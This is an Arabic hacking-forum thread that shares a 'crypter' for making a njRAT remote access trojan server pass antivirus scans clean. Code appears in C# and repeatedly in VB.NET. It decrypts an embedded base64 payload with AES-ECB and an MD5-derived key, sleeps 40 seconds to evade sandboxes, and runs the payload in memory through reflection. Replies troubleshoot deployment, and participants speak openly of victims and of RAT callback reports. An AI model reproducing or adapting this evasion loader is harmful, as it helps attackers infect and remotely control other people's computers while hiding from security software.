تشفير سيرفر نجرات ( كليــ^ـــن )

تم تحميل الصفحة في 1,4621362 ثانية
تشفير سيرفر نجرات ( كليــ^ـــن )

AhmedA3sar

Beginner Developer
rank
إنضم
9 فبراير 2018
المشاركات
106
الإعجابات
103
النقاط
43
السلام عليكم ورحمة الله وبركاته
تشفيرة كلين لسرفر نجرات بتاريخ اليوم ..
نتيجة الفحص ::-


بأستخدام خوارزمية Md5 .. كل شيء واضح في الفيديو

الكود المستخدم :: -
C#:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading;


namespace ConsoleApplication20
{
    class Program
    {
        static void Main(string[] args)
        {

            string differentsupported = test .Properties.Resources.p0;
            string differentsupported2 =test .Properties.Resources.p1;
            string differentsupported3 = differentsupported + differentsupported2;
            byte[] ahmed2 = Md5Decrypt(Convert.FromBase64String(differentsupported3), "as2we25w6");
            Thread.Sleep(40000);
            System.Reflection.Assembly ahmed3 = System.Reflection.Assembly.Load(ahmed2);
            ahmed3.EntryPoint.Invoke(null, null);






        }
        public static byte[] Md5Decrypt(byte[] B, string iKey)
        {
            byte[] keyArray = null;
            MD5CryptoServiceProvider hashmd5 = new MD5CryptoServiceProvider();
            keyArray = hashmd5.ComputeHash(Encoding.BigEndianUnicode.GetBytes(iKey));
            System.Security.Cryptography.AesManaged tdes = new System.Security.Cryptography.AesManaged();
            tdes.Key = keyArray;
            tdes.Mode = CipherMode.ECB;
            ICryptoTransform cTransform = tdes.CreateDecryptor();
            byte[] resultArray = cTransform.TransformFinalBlock(B, 0, B.Length);
            tdes.Clear();
            return resultArray;
        }
    }
}
الكود بالغه #c ويمكن تحويل الكود للغة vb,net بأستخدام أي موقع لتحويل الأكواد ..
بعد أذن المشرف نقل الموضوع للقسم المناسب .

أهداء إلى ::-
[email protected]

تحيـــاتى
 
إنضم
10 أغسطس 2012
المشاركات
1,420
الإعجابات
1,147
النقاط
113
الإقامة
IRAQ
شكرا لك حبيبي الغالي على الاهداء


ابداع يفوق الوصف اخي وحبيبي الغالي دمت ودام عطائك اكثر ما اعجبني فيه الطريقه الواضحه للكل
 

AhmedA3sar

Beginner Developer
rank
إنضم
9 فبراير 2018
المشاركات
106
الإعجابات
103
النقاط
43
شكرا لك حبيبي الغالي على الاهداء


ابداع يفوق الوصف اخي وحبيبي الغالي دمت ودام عطائك اكثر ما اعجبني فيه الطريقه الواضحه للكل
العفو اخى الغالى ربنا يخليك:)
 

ALY-SPY

Beginner Developer
rank
إنضم
6 مايو 2014
المشاركات
28
الإعجابات
14
النقاط
3
نفذت شرحك خطوة خطوة
يظهر لى خطأ Error 1 'Sub Main' was not found in 'vds.Module1
و عند اختيار Sub Main يظهر خطأ اخر Error 1 No accessible 'Main' method with an appropriate signature was found in
مع العلم انى استخدم فيجوال 6
و قد حولت الكود من #c الى Vb . net
الحل من فضلك
تحياتى لك ♥
 

๖ۣۜA M E E R

F E v E R
طاقم الإدارة
إنضم
8 سبتمبر 2013
المشاركات
7,118
الإعجابات
10,624
النقاط
168
الإقامة
Iraq
نفذت شرحك خطوة خطوة
يظهر لى خطأ Error 1 'Sub Main' was not found in 'vds.Module1
و عند اختيار Sub Main يظهر خطأ اخر Error 1 No accessible 'Main' method with an appropriate signature was found in
مع العلم انى استخدم فيجوال 6
و قد حولت الكود من #c الى Vb . net
الحل من فضلك
تحياتى لك ♥
نزل الكود الي حولته اخي ..
و يا ريت صورة للخطأ الي يظهرلك
 

ALY-SPY

Beginner Developer
rank
إنضم
6 مايو 2014
المشاركات
28
الإعجابات
14
النقاط
3
نزل الكود الي حولته اخي ..
و يا ريت صورة للخطأ الي يظهرلك


Rich (BB code):
Imports System
Imports System.Collections.Generic
Imports System.Diagnostics
Imports System.IO
Imports System.Linq
Imports System.Security.Cryptography
Imports System.Text
Imports System.Threading

Namespace ConsoleApplication20
    Class Program
        Private Shared Sub Main(ByVal args As String())
            Dim differentsupported As String = test.Properties.Resources.p0
            Dim differentsupported2 As String = test.Properties.Resources.p1
            Dim differentsupported3 As String = differentsupported & differentsupported2
            Dim ahmed2 As Byte() = Md5Decrypt(Convert.FromBase64String(differentsupported3), "as2we25w6")
            Thread.Sleep(40000)
            Dim ahmed3 As System.Reflection.Assembly = System.Reflection.Assembly.Load(ahmed2)
            ahmed3.EntryPoint.Invoke(Nothing, Nothing)
        End Sub

        Public Shared Function Md5Decrypt(ByVal B As Byte(), ByVal iKey As String) As Byte()
            Dim keyArray As Byte() = Nothing
            Dim hashmd5 As MD5CryptoServiceProvider = New MD5CryptoServiceProvider()
            keyArray = hashmd5.ComputeHash(Encoding.BigEndianUnicode.GetBytes(iKey))
            Dim tdes As System.Security.Cryptography.AesManaged = New System.Security.Cryptography.AesManaged()
            tdes.Key = keyArray
            tdes.Mode = CipherMode.ECB
            Dim cTransform As ICryptoTransform = tdes.CreateDecryptor()
            Dim resultArray As Byte() = cTransform.TransformFinalBlock(B, 0, B.Length)
            tdes.Clear()
            Return resultArray
        End Function
    End Class
End Namespace
هذا الكود بعد التحويل
اما بالنسبة لصورة الخطأ فهو كما كتبته بالظبط
و ها هى
 

๖ۣۜA M E E R

F E v E R
طاقم الإدارة
إنضم
8 سبتمبر 2013
المشاركات
7,118
الإعجابات
10,624
النقاط
168
الإقامة
Iraq
الكود الي يخصك من الكلام كله هو هذا :
كود:
'Paste it in Form1
Dim differentsupported As String = test.Properties.Resources.p0
            Dim differentsupported2 As String = test.Properties.Resources.p1
            Dim differentsupported3 As String = differentsupported & differentsupported2
            Dim ahmed2 As Byte() = Md5Decrypt(Convert.FromBase64String(differentsupported3), "as2we25w6")
            Thread.Sleep(40000)
            Dim ahmed3 As System.Reflection.Assembly = System.Reflection.Assembly.Load(ahmed2)
            ahmed3.EntryPoint.Invoke(Nothing, Nothing)
اعمل مشروع جديد و الصق الكود داخل الفورم

و الصقه بعد الـForm

كود:
 Public Shared Function Md5Decrypt(ByVal B As Byte(), ByVal iKey As String) As Byte()
            Dim keyArray As Byte() = Nothing
            Dim hashmd5 As MD5CryptoServiceProvider = New MD5CryptoServiceProvider()
            keyArray = hashmd5.ComputeHash(Encoding.BigEndianUnicode.GetBytes(iKey))
            Dim tdes As System.Security.Cryptography.AesManaged = New System.Security.Cryptography.AesManaged()
            tdes.Key = keyArray
            tdes.Mode = CipherMode.ECB
            Dim cTransform As ICryptoTransform = tdes.CreateDecryptor()
            Dim resultArray As Byte() = cTransform.TransformFinalBlock(B, 0, B.Length)
            tdes.Clear()
            Return resultArray
        End Function
 

ALY-SPY

Beginner Developer
rank
إنضم
6 مايو 2014
المشاركات
28
الإعجابات
14
النقاط
3
الكود الي يخصك من الكلام كله هو هذا :
كود:
'Paste it in Form1
Dim differentsupported As String = test.Properties.Resources.p0
            Dim differentsupported2 As String = test.Properties.Resources.p1
            Dim differentsupported3 As String = differentsupported & differentsupported2
            Dim ahmed2 As Byte() = Md5Decrypt(Convert.FromBase64String(differentsupported3), "as2we25w6")
            Thread.Sleep(40000)
            Dim ahmed3 As System.Reflection.Assembly = System.Reflection.Assembly.Load(ahmed2)
            ahmed3.EntryPoint.Invoke(Nothing, Nothing)
اعمل مشروع جديد و الصق الكود داخل الفورم

و الصقه بعد الـForm

كود:
 Public Shared Function Md5Decrypt(ByVal B As Byte(), ByVal iKey As String) As Byte()
            Dim keyArray As Byte() = Nothing
            Dim hashmd5 As MD5CryptoServiceProvider = New MD5CryptoServiceProvider()
            keyArray = hashmd5.ComputeHash(Encoding.BigEndianUnicode.GetBytes(iKey))
            Dim tdes As System.Security.Cryptography.AesManaged = New System.Security.Cryptography.AesManaged()
            tdes.Key = keyArray
            tdes.Mode = CipherMode.ECB
            Dim cTransform As ICryptoTransform = tdes.CreateDecryptor()
            Dim resultArray As Byte() = cTransform.TransformFinalBlock(B, 0, B.Length)
            tdes.Clear()
            Return resultArray
        End Function
عند اختيار مشروع جديد
اختار ماذا ؟
لانى اختارت بالاول Console app
 

ALY-SPY

Beginner Developer
rank
إنضم
6 مايو 2014
المشاركات
28
الإعجابات
14
النقاط
3
اللغة وحدة يا صاحبي -_- مالها علاقة بالاصدار
انا احتار امرى و الله يا امير
انا نزلت موضوع فى قسم الاستفسارات و ان شاء الله الاخوه يساعدونى فى ايجاد تشفيرة على وجه السرعه
الضحايا هتطير :31:
 

AhmedA3sar

Beginner Developer
rank
إنضم
9 فبراير 2018
المشاركات
106
الإعجابات
103
النقاط
43
عاشت ايديك حبيبي تشفيرة بسيطة و قوية .. بطل
تسلم أخى أمير بنتعلم منك عزيزى :42:
نفذت شرحك خطوة خطوة
يظهر لى خطأ Error 1 'Sub Main' was not found in 'vds.Module1
و عند اختيار Sub Main يظهر خطأ اخر Error 1 No accessible 'Main' method with an appropriate signature was found in
مع العلم انى استخدم فيجوال 6
و قد حولت الكود من #c الى Vb . net
الحل من فضلك
تحياتى لك ♥
Rich (BB code):
Imports System
Imports System.Collections.Generic
Imports System.Diagnostics
Imports System.IO
Imports System.Linq
Imports System.Security.Cryptography
Imports System.Text
Imports System.Threading

Namespace ConsoleApplication20
    Class Program
        Private Shared Sub Main(ByVal args As String())
            Dim differentsupported As String = test.Properties.Resources.p0
            Dim differentsupported2 As String = test.Properties.Resources.p1
            Dim differentsupported3 As String = differentsupported & differentsupported2
            Dim ahmed2 As Byte() = Md5Decrypt(Convert.FromBase64String(differentsupported3), "as2we25w6")
            Thread.Sleep(40000)
            Dim ahmed3 As System.Reflection.Assembly = System.Reflection.Assembly.Load(ahmed2)
            ahmed3.EntryPoint.Invoke(Nothing, Nothing)
        End Sub

        Public Shared Function Md5Decrypt(ByVal B As Byte(), ByVal iKey As String) As Byte()
            Dim keyArray As Byte() = Nothing
            Dim hashmd5 As MD5CryptoServiceProvider = New MD5CryptoServiceProvider()
            keyArray = hashmd5.ComputeHash(Encoding.BigEndianUnicode.GetBytes(iKey))
            Dim tdes As System.Security.Cryptography.AesManaged = New System.Security.Cryptography.AesManaged()
            tdes.Key = keyArray
            tdes.Mode = CipherMode.ECB
            Dim cTransform As ICryptoTransform = tdes.CreateDecryptor()
            Dim resultArray As Byte() = cTransform.TransformFinalBlock(B, 0, B.Length)
            tdes.Clear()
            Return resultArray
        End Function
    End Class
End Namespace
هذا الكود بعد التحويل
اما بالنسبة لصورة الخطأ فهو كما كتبته بالظبط
و ها هى
اسف على التأخير في الرد اخى الكريم
أنا افهم من كلامك أنك عملت مشروع vb.net وحذفت الفورم ووضعت موديل ووضعت بداخله الكود
استخدم الكود ده مع vb.net


كود:
Imports System.Security.Cryptography
Imports System.Text
Imports System.Threading

Module Module1
    Sub Main()
        Dim differentsupported As String = My.Resources.p0
        Dim differentsupported2 As String = My.Resources.p1
        Dim differentsupported3 As String = differentsupported & differentsupported2
        Dim ahmed2 As Byte() = Md5Decrypt(Convert.FromBase64String(differentsupported3), "هنا الباسورد الخاص بيك")
        Thread.Sleep(40000)
        Dim ahmed3 As System.Reflection.Assembly = System.Reflection.Assembly.Load(ahmed2)
        ahmed3.EntryPoint.Invoke(Nothing, Nothing)
    End Sub
    Public Function Md5Decrypt(ByVal B() As Byte, ByVal iKey As String) As Byte()
        Dim keyArray As Byte()
        Dim hashmd5 As New MD5CryptoServiceProvider()
        keyArray = hashmd5.ComputeHash(Encoding.BigEndianUnicode.GetBytes(iKey))
        Dim tdes As New Security.Cryptography.AesManaged
        tdes.Key = keyArray
        tdes.Mode = CipherMode.ECB
        Dim cTransform As ICryptoTransform = tdes.CreateDecryptor()
        Dim resultArray As Byte() = cTransform.TransformFinalBlock(B, 0, B.Length)
        tdes.Clear()
        Return resultArray
    End Function
End Module

بالنسبة للجزء الخاص بالباسورد في الكود انت بتحط الباس الخاص فيك مش شرط نفس الباس اللي انا حاطه .. يعنى نفس الباس اللي في برنامج التحويل بتضعه داخل التشفيرة
في الصورة اللي انت واضعها في الجزء الخاص ب startup object اجعلها sub Main وليس Module1


اولا شكرا ع المجهود
ثانيا السيرفر يعطب ما اعرف ليش
بتستخدم النجرات أم أي برنامج رات !
السرفر ينعطب أكيد لأنك سويت شيء خطأ سوى مثل الفيديو وأن شاء الله ماينعطب
ممكن أسباب عطب السرفر الأتى ..
ملفين التكست اللي بأسم p0 و p1 انا وضعت القيم في الملف الأول وأخذت جزء من القيم عملت ليها قص يعني cut ووضعتها في الملف التانى أنت ممكن تكون عملت للقيم دي كوبي copy وليس cut فالناتج اكيد معطوب

كود:
            Dim ahmed2 As Byte() = Md5Decrypt(Convert.FromBase64String(differentsupported3), "هنا الباسورد الخاص بيك")
الجزء ده في الكود في منطقة وضع الباسورد أنت بتضع الباس الخاص بيك اللي حولت بيه السرفر للقيم مش شرط نفس الباس اللي انا وضعته فأنت ممكن تكون واضع في برنامج التحويل باس مختلف عن اللي في التشفيرة وبالتالى السرفر معطوب
عملت كل حاجة صح بس التبليغ ما بيوصلش
أي برنامج رات تستخدم أخى الكريم.. أكيد فيه خطأ عندك اتبع الفيديو وأن شاء الله التبليغ يوصل
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 1 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل